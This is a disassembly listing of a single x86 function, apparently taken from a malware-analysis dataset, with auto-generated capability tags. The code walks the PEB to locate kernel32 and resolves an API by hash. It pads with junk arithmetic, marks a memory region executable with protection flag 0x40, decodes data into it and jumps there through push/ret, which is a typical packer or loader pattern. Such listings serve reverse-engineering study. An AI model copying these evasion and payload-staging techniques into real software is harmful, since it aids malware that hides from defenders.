Function at 0x402198
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x42e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.IOanz_UZA891nNAIUsy_U_Ahy8_
lea ecx, [ebp - 0x34]
call fcn.0040241e
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
push 0xf
pop ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0xc], 0
cmp dword [ebp - 0x24], 0
mov dword [ebp - 8], ebx
mov byte [ebp - 0x1c], 0
jbe 0x402206
call fcn.004028e9
cmp dword [ebp - 0x20], ebx
lea edx, [ebp - 0x34]
push dword [ebp - 0x24]
cmova edx, dword [ebp - 0x34]
mov ecx, eax
call fcn.004031ce
pop ecx
push eax
call fcn.00402aac
cmp dword [ebp - 0x20], ebx
lea eax, [ebp - 0x34]
pop ecx
push dword [ebp - 0x24]
cmova eax, dword [ebp - 0x34]
push eax
jmp 0x402214
mov esi, 0x42aabc
push esi
call fcn.0040d1b0
pop ecx
push eax
push esi
lea ecx, [ebp - 0x1c]
call fcn.004024d1
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x47b728], eax
push 0x27
push 0x42ead0
mov edx, 0x547
mov ecx, 0x479d00
call fcn.00401cd2
pop ecx
pop ecx
mov edx, 0x8aafdc01
call fcn.004020ea
mov dword [ebp - 0x38], eax
shr dx, 0x64
inc bx
imul bx
shl di, 0x24
rcl edx, 0x1b
and ax, cx
dec dx
sub si, dx
imul ecx
xor si, 0x391
rcr di, 0x4d
dec ax
rcr ecx, 0x8c
imul bx
imul ebx
movzx eax, bh
and edi, ebx
rcl si, 0x76
inc di
sub di, bx
and edi, edx
and edi, 0x24d
mov di, 0x1a0
jae 0x4022b7
or edi, 0x2f6
rcl edx, 0x94
add ecx, edi
ror cx, 0x12
movsx eax, cl
jmp 0x4022bd
ror ebx, 0x8a
mov bx, ax
movzx eax, dx
ror ax, 0x6c
imul ax
inc ax
je 0x4022e2
test edx, 0x3c
je 0x402302
rcl edx, 0xe3
or esi, 0x26e
rcl si, 0x78
jmp 0x4022e4
inc ax
rol ax, 0x1c
shl edx, 0xd4
ja 0x402302
mul dx
and ecx, eax
rol ecx, 0x22
inc ebx
dec esi
add edx, ecx
inc ebx
inc ecx
mul ax
mul edi
jmp 0x402318
rcl dx, 0xe8
mov esi, 0x2c4
shl ax, 0x9f
sub edx, edi
and eax, esi
and cx, 0x187
mov bx, dx
sub bx, ax
movsx edx, cx
inc bx
shl cx, 0x93
lea eax, [ebp - 0x40]
push eax
push 0x40
push 0x4e4
push 0x479d00
call dword [ebp - 0x38]
test eax, eax
je 0x402396
push 0x16
push 0x47a250
mov edx, 0x4b200
mov ecx, 0x42eb00
call fcn.00401cd2
pop ecx
pop ecx
mov esi, 0x42eb00
push esi
mov edx, 0x479d00
mov ecx, 0x27
xor ecx, 0x1af
add edx, ecx
sub esp, 0xc
mov dword [esp + 4], 1
xor dword [esp + 4], 0x5dc
mov dword [esp], edx
mov byte [esp + 8], 0
lea eax, sym.imp.KERNEL32.dll_TlsFree
mov eax, dword [eax]
push eax
ret
mov eax, dword [ebp - 8]
push 0xf
pop esi
cmp eax, esi
jbe 0x4023cf
mov ecx, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
cmp eax, 0x1000
jb 0x4023c6
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.004012ac
mov eax, dword [ebp - 0x3c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x38]
push eax
push ecx
call fcn.0040697e
pop ecx
pop ecx
and dword [ebp - 0xc], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 8], esi
mov byte [ebp - 0x1c], 0
call fcn.004024ab
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040693b
leave
ret 0x10